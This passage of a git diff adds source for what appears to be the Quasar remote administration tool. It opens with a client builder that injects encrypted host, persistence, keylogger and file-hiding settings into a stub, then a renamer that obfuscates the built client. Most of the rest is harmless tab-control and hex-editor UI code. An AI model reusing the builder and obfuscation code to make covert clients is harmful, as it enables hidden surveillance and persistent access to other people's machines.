methodDef.Body.Instructions.Count; i++) + { + if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string + { + switch (strings) + { + case 1: //version + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version); + break; + case 2: //ip/hostname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts); + break; + case 3: //installsub + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub); + break; + case 4: //installname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName); + break; + case 5: //mutex + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex); + break; + case 6: //startupkey + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName); + break; + case 7: //encryption key + methodDef.Body.Instructions[i].Operand = key; + break; + case 8: //tag + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag); + break; + case 9: //LogDirectoryName + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); + break; + case 10: //ServerSignature + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); + break; + case 11: //ServerCertificate + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); + break; + } + strings++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 || + methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool + { + switch (bools) + { + case 1: //install + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install)); + break; + case 2: //startup + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup)); + break; + case 3: //hidefile + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile)); + break; + case 4: //Keylogger + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger)); + break; + case 5: //HideLogDirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory)); + break; + case 6: // HideInstallSubdirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); + break; + case 7: // UnattendedMode + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode)); + break; + } + bools++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int + { + //reconnectdelay + methodDef.Body.Instructions[i].Operand = _options.Delay; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte + { + methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath); + } + } + } + } + } + } + } + + /// + /// Obtains the OpCode that corresponds to the bool value provided. + /// + /// The value to convert to the OpCode + /// Returns the OpCode that represents the value provided. + private OpCode BoolOpCode(bool p) + { + return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; + } + + /// + /// Attempts to obtain the signed-byte value of a special folder from the install path value provided. + /// + /// The integer value of the install path. + /// Returns the signed-byte value of the special folder. + /// Thrown if the path to the special folder was invalid. + private sbyte GetSpecialFolder(int installPath) + { + switch (installPath) + { + case 1: + return (sbyte)Environment.SpecialFolder.ApplicationData; + case 2: + return (sbyte)Environment.SpecialFolder.ProgramFiles; + case 3: + return (sbyte)Environment.SpecialFolder.System; + default: + throw new ArgumentException("InstallPath"); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Build/Renamer.cs b/Quasar-1.4.1/Quasar.Server/Build/Renamer.cs new file mode 100755 index 0000000..fe9ef52 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Build/Renamer.cs @@ -0,0 +1,195 @@ +using Mono.Cecil; +using Quasar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Quasar.Server.Build +{ + public class Renamer + { + /// + /// Contains the assembly definition. + /// + public AssemblyDefinition AsmDef { get; set; } + + private int Length { get; set; } + private MemberOverloader _typeOverloader; + private Dictionary _methodOverloaders; + private Dictionary _fieldOverloaders; + private Dictionary _eventOverloaders; + + public Renamer(AssemblyDefinition asmDef) + : this(asmDef, 20) + { + } + + public Renamer(AssemblyDefinition asmDef, int length) + { + this.AsmDef = asmDef; + this.Length = length; + _typeOverloader = new MemberOverloader(this.Length); + _methodOverloaders = new Dictionary(); + _fieldOverloaders = new Dictionary(); + _eventOverloaders = new Dictionary(); + } + + /// + /// Attempts to modify the assembly definition data. + /// + /// True if the operation succeeded; False if the operation failed. + public bool Perform() + { + try + { + foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types)) + { + RenameInType(typeDef); + } + return true; + } + catch + { + return false; + } + } + + private void RenameInType(TypeDefinition typeDef) + { + if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") || typeDef.IsEnum /* || typeDef.HasInterfaces */) + return; + + _typeOverloader.GiveName(typeDef); + + typeDef.Namespace = string.Empty; + + MemberOverloader methodOverloader = GetMethodOverloader(typeDef); + MemberOverloader fieldOverloader = GetFieldOverloader(typeDef); + MemberOverloader eventOverloader = GetEventOverloader(typeDef); + + if (typeDef.HasNestedTypes) + foreach (TypeDefinition nestedType in typeDef.NestedTypes) + RenameInType(nestedType); + + if (typeDef.HasMethods) + foreach (MethodDefinition methodDef in + typeDef.Methods.Where(methodDef => + !methodDef.IsConstructor && !methodDef.HasCustomAttributes && + !methodDef.IsAbstract && !methodDef.IsVirtual)) + methodOverloader.GiveName(methodDef); + + if (typeDef.HasFields) + foreach (FieldDefinition fieldDef in typeDef.Fields) + fieldOverloader.GiveName(fieldDef); + + if (typeDef.HasEvents) + foreach (EventDefinition eventDef in typeDef.Events) + eventOverloader.GiveName(eventDef); + } + + private MemberOverloader GetMethodOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._methodOverloaders, typeDef); + } + + private MemberOverloader GetFieldOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._fieldOverloaders, typeDef); + } + + private MemberOverloader GetEventOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._eventOverloaders, typeDef); + } + + private MemberOverloader GetOverloader(Dictionary overloaderDictionary, + TypeDefinition targetTypeDef) + { + MemberOverloader overloader; + if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader)) + { + overloader = new MemberOverloader(this.Length); + overloaderDictionary.Add(targetTypeDef, overloader); + } + return overloader; + } + + private class MemberOverloader + { + private bool DoRandom { get; set; } + private int StartingLength { get; set; } + private readonly Dictionary _renamedMembers = new Dictionary(); + private readonly char[] _charMap; + private readonly SafeRandom _random = new SafeRandom(); + private int[] _indices; + + public MemberOverloader(int startingLength, bool doRandom = true) + : this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray()) + { + } + + private MemberOverloader(int startingLength, bool doRandom, char[] chars) + { + this._charMap = chars; + this.DoRandom = doRandom; + this.StartingLength = startingLength; + this._indices = new int[startingLength]; + } + + public void GiveName(MemberReference member) + { + string currentName = GetCurrentName(); + string originalName = member.ToString(); + member.Name = currentName; + while (_renamedMembers.ContainsValue(member.ToString())) + { + member.Name = GetCurrentName(); + } + _renamedMembers.Add(originalName, member.ToString()); + } + + private string GetCurrentName() + { + return DoRandom ? GetRandomName() : GetOverloadedName(); + } + + private string GetRandomName() + { + StringBuilder builder = new StringBuilder(); + + for (int i = 0; i < StartingLength; i++) + { + builder.Append((char)_random.Next(int.MinValue, int.MaxValue)); + } + + return builder.ToString(); + } + + private string GetOverloadedName() + { + IncrementIndices(); + char[] chars = new char[_indices.Length]; + for (int i = 0; i < _indices.Length; i++) + chars[i] = _charMap[_indices[i]]; + return new string(chars); + } + + private void IncrementIndices() + { + for (int i = _indices.Length - 1; i >= 0; i--) + { + _indices[i]++; + if (_indices[i] >= _charMap.Length) + { + if (i == 0) + Array.Resize(ref _indices, _indices.Length + 1); + _indices[i] = 0; + } + else + break; + } + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/DotNetBarTabControl.cs b/Quasar-1.4.1/Quasar.Server/Controls/DotNetBarTabControl.cs new file mode 100755 index 0000000..8e811a6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/DotNetBarTabControl.cs @@ -0,0 +1,155 @@ +using System; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Windows.Forms; + +// thanks to Mavamaarten~ for coding this + +namespace Quasar.Server.Controls +{ + internal class DotNetBarTabControl : TabControl + { + // Cached render bitmap — only rebuilt when layout changes + private Bitmap _cache; + private int _cacheSelectedIndex = -1; + private Size _cacheSize; + + // Pre-allocated brushes and pens + private static readonly SolidBrush _sidebarBrush = new SolidBrush(Color.FromArgb(50, 50, 55)); + private static readonly SolidBrush _selectedTabBrush = new SolidBrush(Color.FromArgb(65, 65, 72)); + private static readonly SolidBrush _textBrush = new SolidBrush(Color.White); + private static readonly SolidBrush _unselTextBrush = new SolidBrush(Color.FromArgb(180, 180, 185)); + private static readonly SolidBrush _transBrush = new SolidBrush(Color.Transparent); + private static readonly Pen _borderPen = new Pen(Color.FromArgb(70, 70, 78)); + + private static readonly StringFormat _centerFormat = new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center + }; + + public DotNetBarTabControl() + { + SetStyle( + ControlStyles.AllPaintingInWmPaint | ControlStyles.ResizeRedraw | + ControlStyles.UserPaint | ControlStyles.DoubleBuffer, true); + SizeMode = TabSizeMode.Fixed; + ItemSize = new Size(44, 136); + Alignment = TabAlignment.Left; + SelectedIndex = 0; + } + + private bool NeedsRedraw() + { + return _cache == null + || _cacheSize != Size + || _cacheSelectedIndex != SelectedIndex; + } + + private void RebuildCache() + { + _cache?.Dispose(); + _cache = new Bitmap(Width, Height); + _cacheSize = Size; + _cacheSelectedIndex = SelectedIndex; + + using (Graphics g = Graphics.FromImage(_cache)) + { + g.Clear(Color.Transparent); + + // Sidebar background + g.FillRectangle(_sidebarBrush, new Rectangle(0, 0, ItemSize.Height + 4, Height)); + g.DrawLine(_borderPen, new Point(ItemSize.Height + 3, 0), new Point(ItemSize.Height + 3, Height)); + g.DrawLine(_borderPen, new Point(0, Height - 1), new Point(Width + 3, Height - 1)); + + for (int i = 0; i < TabCount; i++) + { + Rectangle tabRect = GetTabRect(i); + Rectangle x2 = new Rectangle( + tabRect.Location.X - 2, + tabRect.Location.Y - 2, + tabRect.Width + 3, + tabRect.Height - 1); + + if (i == SelectedIndex) + { + g.FillRectangle(_selectedTabBrush, x2); + g.DrawRectangle(_borderPen, x2); + + g.SmoothingMode = SmoothingMode.HighQuality; + Point[] arrow = + { + new Point(ItemSize.Height - 3, tabRect.Location.Y + 20), + new Point(ItemSize.Height + 4, tabRect.Location.Y + 14), + new Point(ItemSize.Height + 4, tabRect.Location.Y + 27) + }; + g.FillPolygon(_transBrush, arrow); + g.DrawPolygon(_borderPen, arrow); + g.SmoothingMode = SmoothingMode.Default; + + Font boldFont = new Font(Font.FontFamily, Font.Size, FontStyle.Bold); + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + g.DrawString(" " + TabPages[i].Text, boldFont, _textBrush, x2, _centerFormat); + } + catch + { + g.DrawString(TabPages[i].Text, boldFont, _textBrush, x2, _centerFormat); + } + } + else + { + g.DrawString(TabPages[i].Text, boldFont, _textBrush, x2, _centerFormat); + } + boldFont.Dispose(); + } + else + { + g.FillRectangle(_sidebarBrush, x2); + g.DrawLine(_borderPen, new Point(x2.Right, x2.Top), new Point(x2.Right, x2.Bottom)); + + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + g.DrawString(" " + TabPages[i].Text, Font, _unselTextBrush, x2, _centerFormat); + } + catch + { + g.DrawString(TabPages[i].Text, Font, _unselTextBrush, x2, _centerFormat); + } + } + else + { + g.DrawString(TabPages[i].Text, Font, _unselTextBrush, x2, _centerFormat); + } + } + } + } + } + + protected override void OnPaint(PaintEventArgs e) + { + if (!DesignMode && SelectedTab != null) + SelectedTab.BackColor = Color.FromArgb(32, 32, 36); + + if (NeedsRedraw()) + RebuildCache(); + + e.Graphics.DrawImage(_cache, Point.Empty); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + _cache?.Dispose(); + base.Dispose(disposing); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/ByteCollection.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/ByteCollection.cs new file mode 100755 index 0000000..42e8249 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/ByteCollection.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Controls.HexEditor +{ + public class ByteCollection + { + private List _bytes; + + #region Properties + + public int Length + { + get { return _bytes.Count; } + } + + #endregion + + #region Constructor + + public ByteCollection() + { + _bytes = new List(); + } + + public ByteCollection(byte[] bytes) + { + _bytes = new List(bytes); + } + + #endregion + + #region Methods + + public void Add(byte item) + { + _bytes.Add(item); + } + + public void Insert(int index, byte item) + { + _bytes.Insert(index, item); + } + + public void Remove(byte item) + { + _bytes.Remove(item); + } + + public void RemoveAt(int index) + { + _bytes.RemoveAt(index); + } + + public void RemoveRange(int startIndex, int count) + { + _bytes.RemoveRange(startIndex, count); + } + + public byte GetAt(int index) + { + return _bytes[index]; + } + + public void SetAt(int index, byte item) + { + _bytes[index] = item; + } + + public char GetCharAt(int index) + { + return Convert.ToChar(_bytes[index]); + } + + public byte[] ToArray() + { + return _bytes.ToArray(); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/Caret.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/Caret.cs new file mode 100755 index 0000000..ac83acd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/Caret.cs @@ -0,0 +1,232 @@ +using System; +using System.Drawing; +using System.Runtime.InteropServices; + +namespace Quasar.Server.Controls.HexEditor +{ + public class Caret + { + #region Field + + /// + /// Contains the start index + /// where the caret started + /// + int _startIndex; + + /// + /// Contains the end index + /// where the caret is + /// currently located + /// + int _endIndex; + + /// + /// Tells if the given caret + /// is active in the controller + /// (control is in focus) + /// + bool _isCaretActive; + + + /// + /// Tells if the caret is + /// currently hidden or + /// not (out of view) + /// + bool _isCaretHidden; + + /// + /// Holds the actual position + /// of the caret + /// + Point _location; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int SelectionStart + { + get + { + if (_endIndex < _startIndex) + return _endIndex; + return _startIndex; + } + } + + public int SelectionLength + { + get + { + if (_endIndex < _startIndex) + return _startIndex - _endIndex; + return _endIndex - _startIndex; + } + } + + public bool Focused + { + get { return _isCaretActive; } + } + + public int CurrentIndex + { + get { return _endIndex; } + } + + public Point Location + { + get { return _location; } + } + + #endregion + + #region EventHandlers + + public event EventHandler SelectionStartChanged; + + public event EventHandler SelectionLengthChanged; + + #endregion + + #region Constructor + + public Caret(HexEditor editor) + { + _editor = editor; + _isCaretActive = false; + _startIndex = 0; + _endIndex = 0; + _isCaretHidden = true; + _location = new Point(0, 0); + } + + #endregion + + #region Methods + + #region Caret + + private bool Create(IntPtr hWHandler) + { + if (!_isCaretActive) + { + _isCaretActive = true; + return CreateCaret(hWHandler, IntPtr.Zero, 0, (int)_editor.CharSize.Height - 2); + } + + return false; + } + + private bool Show(IntPtr hWnd) + { + if (_isCaretActive) + { + _isCaretHidden = false; + return ShowCaret(hWnd); + } + + return false; + } + + public bool Hide(IntPtr hWnd) + { + if (_isCaretActive && !_isCaretHidden) + { + _isCaretHidden = true; + return HideCaret(hWnd); + } + return false; + } + + public bool Destroy() + { + if (_isCaretActive) + { + _isCaretActive = false; + DeSelect(); + DestroyCaret(); + } + + return false; + } + + #endregion + + public void SetStartIndex(int index) + { + _startIndex = index; + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + + } + + public void SetEndIndex(int index) + { + _endIndex = index; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + public void SetCaretLocation(Point start) + { + Create(_editor.Handle); + _location = start; + SetCaretPos(_location.X, _location.Y); + Show(_editor.Handle); + } + + public bool IsSelected(int byteIndex) + { + return (SelectionStart <= byteIndex && byteIndex < (SelectionStart + SelectionLength)); + } + + private void DeSelect() + { + if (_endIndex < _startIndex) + _startIndex = _endIndex; + else + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + #endregion + + #region Caret import + + [DllImport("user32.dll", SetLastError = true)] + static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool DestroyCaret(); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool SetCaretPos(int x, int y); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool ShowCaret(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool HideCaret(IntPtr hWnd); + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/EditView.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/EditView.cs new file mode 100755 index 0000000..586b9fc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/EditView.cs @@ -0,0 +1,177 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public class EditView : IKeyMouseEventHandler + { + #region Fields + + /// + /// Contains the handler for the hex + /// view. + /// + private HexViewHandler _hexView; + + /// + /// Contains the handler for the + /// string view + /// + private StringViewHandler _stringView; + + private HexEditor _editor; + + #endregion + + #region Contructor + + public EditView(HexEditor editor) + { + _editor = editor; + _hexView = new HexViewHandler(editor); + _stringView = new StringViewHandler(editor); + } + + #endregion + + #region KeyMouseEvent + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyPress(e); + } + else + { + _stringView.OnKeyPress(e); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyDown(e); + } + else + { + _stringView.OnKeyDown(e); + } + } + + public void OnKeyUp(KeyEventArgs e) + { /* ... */ } + + #endregion + + #region Mouse + + public void OnMouseDown(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDown(e.X, e.Y); + } + else + { + _stringView.OnMouseDown(e.X, e.Y); + } + } + } + + public void OnMouseDragged(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDragged(e.X, e.Y); + } + else + { + _stringView.OnMouseDragged(e.X, e.Y); + } + } + } + + public void OnMouseUp(MouseEventArgs e) + { /* ... */ } + + public void OnMouseDoubleClick(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDoubleClick(); + } + else + { + _stringView.OnMouseDoubleClick(); + } + } + } + + #endregion + + #region Focus + + public void OnGotFocus(EventArgs e) + { + if (InHexView(_editor.CaretPosX)) + _hexView.Focus(); + else + _stringView.Focus(); + } + + #endregion + + #endregion + + #region UpdateActions + public void SetLowerCase() + { + _hexView.SetLowerCase(); + } + + public void SetUpperCase() + { + _hexView.SetUpperCase(); + } + + public void Update(int startPositionX, Rectangle area) + { + _hexView.Update(startPositionX, area); + _stringView.Update(_hexView.MaxWidth, area); + } + #endregion + + #region PaintActions + + public void Paint(Graphics g, int startIndex, int endIndex) + { + for (int i = 0; (i + startIndex) < endIndex; i++) + { + _hexView.Paint(g, i, startIndex); + _stringView.Paint(g, i, startIndex); + } + } + + #endregion + + #region Misc + + private bool InHexView(int x) + { + return (x < (_hexView.MaxWidth + _editor.EntityMargin - 2)); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexEditor.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexEditor.cs new file mode 100755 index 0000000..fba3492 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexEditor.cs @@ -0,0 +1,1361 @@ +using System; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + /* + * Derived and Adapted from Bernhard Elbl + * Be.HexEditor v1.6 (Last Update: Dec 27, 2013). + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code (and the rest that is avaliable in the + * HexEditor-folder) has been derived from Bernhard + * ElblBe's Be.HexEditor v1.6, modifications have + * been made to make it better fit the new application + * area. + * First Modified by StingRaptor on Febuary 7, 2016 + */ + /* [Original License, ONLY for Current HexEditor Folder] + * This license is applied only to the files in the current + * HexEditor Folder + + * The MIT License + + Copyright (c) 2011 Bernhard Elbl + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + THE SOFTWARE. + */ + /* + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Unmodified Source: + * http://sourceforge.net/projects/hexbox/?source=navbar + */ + + public class HexEditor : Control + { + #region Locks + + private object _caretLock = new object(); + + private object _hexTableLock = new object(); + + #endregion + + #region IKeyMouseEventHandlers + + private IKeyMouseEventHandler _handler; + + #endregion + + #region EditView + + private EditView _editView; + + #endregion + + #region Fields + + /// + /// Contains all of the bytes that + /// are to be displayed in the + /// HexEditor + /// + ByteCollection _hexTable; + + /// + /// Contains the type of counter + /// for the linecount + /// + string _lineCountCaps = "X"; + + /// + /// Contains the number of chars + /// to be used in the line count + /// + int _nrCharsLineCount = 4; + + /// + /// Contains the caret for the + /// control + /// + Caret _caret; + + #region Boundarys + + /// + /// Contains the bound for everything that + /// is to be displayed in the control + /// + Rectangle _recContent; + + /// + /// Contains the boundary for every + /// line count for the control + /// + Rectangle _recLineCount; + + #endregion + + #region String Format + + /// + /// Contains the format of the line count + /// string that is presented in this control + /// + StringFormat _stringFormat; + + #endregion + + #region Byte specific + + /// + /// Contains the index of the first + /// visible byte + /// + int _firstByte; + + /// + /// Contains the index of the last + /// visible byte + /// + int _lastByte; + + /// + /// Contains the maximum bytes that + /// can be visible horizontally + /// + int _maxBytesH; + + /// + /// Contains the maximum bytes that + /// can be visible vertically + /// + int _maxBytesV; + + /// + /// Contains the maximum number of + /// bytes that can be visible at a + /// time. + /// + int _maxBytes; + + /// + /// Contains the maximum number of + /// rows with bytes that are fully + /// visible. + /// + int _maxVisibleBytesV; + + #endregion + + #region Scrollbar + + /// + /// Contains the vertical scroll + /// bar for the control + /// + VScrollBar _vScrollBar; + + /// + /// Contains the with of the scrollbar + /// in pixels + /// + int _vScrollBarWidth = 20; + + /// + /// Contains the current position of the + /// scrollbar + /// + int _vScrollPos; + + /// + /// Contains the maximum value that + /// the scrollbar can have + /// + int _vScrollMax; + + /// + /// Contains the minimum value + /// that the scrollbar may have + /// + int _vScrollMin; + + /// + /// Contains the value for the + /// size of a smallchange in the + /// scrollbar + /// + int _vScrollSmall; + + /// + /// Contains the value for the + /// size of a largechange in the + /// scrollbar + /// + int _vScrollLarge; + + #endregion + + #endregion + + #region Properties + + #region enums + + public enum CaseStyle { LowerCase, UpperCase } + + #endregion + + #region Overriden + + //Override font to trigger update on font change + public override Font Font + { + set + { + base.Font = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + } + + //Hides the property Text that is not used for the control + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] + public override string Text + { + get + { + return base.Text; + } + set + { + base.Text = value; + } + } + + #endregion + + #region Hidden + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public byte[] HexTable + { + get + { + lock (_hexTableLock) + { + return _hexTable.ToArray(); + } + } + set + { + lock (_hexTableLock) + { + if (value == _hexTable.ToArray()) + return; + + _hexTable = new ByteCollection(value); + } + UpdateRectanglePositioning(); + Invalidate(); + } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public SizeF CharSize + { + get { return _charSize; } + private set + { + if (_charSize == value) + return; + + _charSize = value; + + if (CharSizeChanged != null) + CharSizeChanged(this, EventArgs.Empty); + } + }SizeF _charSize; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int MaxBytesV + { + get { return _maxBytesV; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int FirstVisibleByte + { + get { return _firstByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int LastVisibleByte + { + get { return _lastByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool VScrollBarHidden + { + get { return _isVScrollHidden; } + set + { + if (_isVScrollHidden == value) + return; + + _isVScrollHidden = value; + + if (!_isVScrollHidden) + Controls.Add(_vScrollBar); + else + Controls.Remove(_vScrollBar); + + UpdateRectanglePositioning(); + Invalidate(); + } + }bool _isVScrollHidden = true; + + #endregion + + #region Visible + + /// + /// Contains the number of bytes to + /// display per line + /// + [DefaultValue(8), Category("Hex"), Description("Property that specifies the number of bytes to display per line.")] + public int BytesPerLine + { + get { return _bytesPerLine; } + set + { + if (_bytesPerLine == value) + return; + + _bytesPerLine = value; + UpdateRectanglePositioning(); + Invalidate(); + } + }int _bytesPerLine = 8; + + + /// + /// Contains the margin between each + /// of the entitys + /// + [DefaultValue(10), Category("Hex"), Description("Property that specifies the margin between each of the entitys in the control.")] + public int EntityMargin + { + get { return _entityMargin; } + set + { + if (_entityMargin == value) + return; + + _entityMargin = value; + UpdateRectanglePositioning(); + Invalidate(); + } + }int _entityMargin = 10; + + /// + /// Contains the type of border + /// that is used for the control + /// + [DefaultValue(BorderStyle.Fixed3D), Category("Appearance"), Description("Indicates where the control should have a border.")] + public BorderStyle BorderStyle + { + get { return _borderStyle; } + set + { + if (_borderStyle == value) + return; + + if (value != BorderStyle.FixedSingle) + _borderColor = Color.Empty; + + _borderStyle = value; + UpdateRectanglePositioning(); + Invalidate(); + } + }BorderStyle _borderStyle = BorderStyle.Fixed3D; + + /// + /// Contains the color for the border + /// that is used for the control + /// (Only used when BorderStyle is FixedSingle) + /// + [DefaultValue(typeof(Color), "Empty"), Category("Appearance"), Description("Indicates the color to be used when displaying a FixedSingle border.")] + public Color BorderColor + { + get { return _borderColor; } + set + { + if (BorderStyle != BorderStyle.FixedSingle || _borderColor == value) + return; + + _borderColor = value; + Invalidate(); + } + }Color _borderColor = Color.Empty; + + /// + /// Contains the color of the selected + /// background area in the control + /// + [DefaultValue(typeof(Color), "Blue"), Category("Hex"), Description("Property for the background color of the selected text areas.")] + public Color SelectionBackColor + { + get { return _selectionBackColor; } + set + { + if (_selectionBackColor == value) + return; + + _selectionBackColor = value; + } + }Color _selectionBackColor = Color.Blue; + + /// + /// Contains the color of the selected + /// foreground area in the control + /// + [DefaultValue(typeof(Color), "White"), Category("Hex"), Description("Property for the foreground color of the selected text areas.")] + public Color SelectionForeColor + { + get { return _selectionForeColor; } + set + { + if (_selectionForeColor == value) + return; + + _selectionForeColor = value; + } + }Color _selectionForeColor = Color.White; + + /// + /// Contains the case type for the + /// line counter + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use on the line counter.")] + public CaseStyle LineCountCaseStyle + { + get { return _lineCountCaseStyle; } + set + { + if (_lineCountCaseStyle == value) + return; + + _lineCountCaseStyle = value; + + if (_lineCountCaseStyle == CaseStyle.LowerCase) + _lineCountCaps = "x"; + else + _lineCountCaps = "X"; + + Invalidate(); + } + }CaseStyle _lineCountCaseStyle = CaseStyle.UpperCase; + + /// + /// Contains the case type for the + /// hex view. + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use for the hexadecimal values view.")] + public CaseStyle HexViewCaseStyle + { + get { return _hexViewCaseStyle; } + set + { + if (_hexViewCaseStyle == value) + return; + + _hexViewCaseStyle = value; + + if (_hexViewCaseStyle == CaseStyle.LowerCase) + _editView.SetLowerCase(); + else + _editView.SetUpperCase(); + + Invalidate(); + } + }CaseStyle _hexViewCaseStyle = CaseStyle.UpperCase; + + /// + /// Property that contains if the + /// vertical scrollbar should be + /// visible or not + /// + [DefaultValue(false), Category("Hex"), Description("Property for the visibility of the vertical scrollbar.")] + public bool VScrollBarVisisble + { + get { return _isVScrollVisible; } + set + { + if 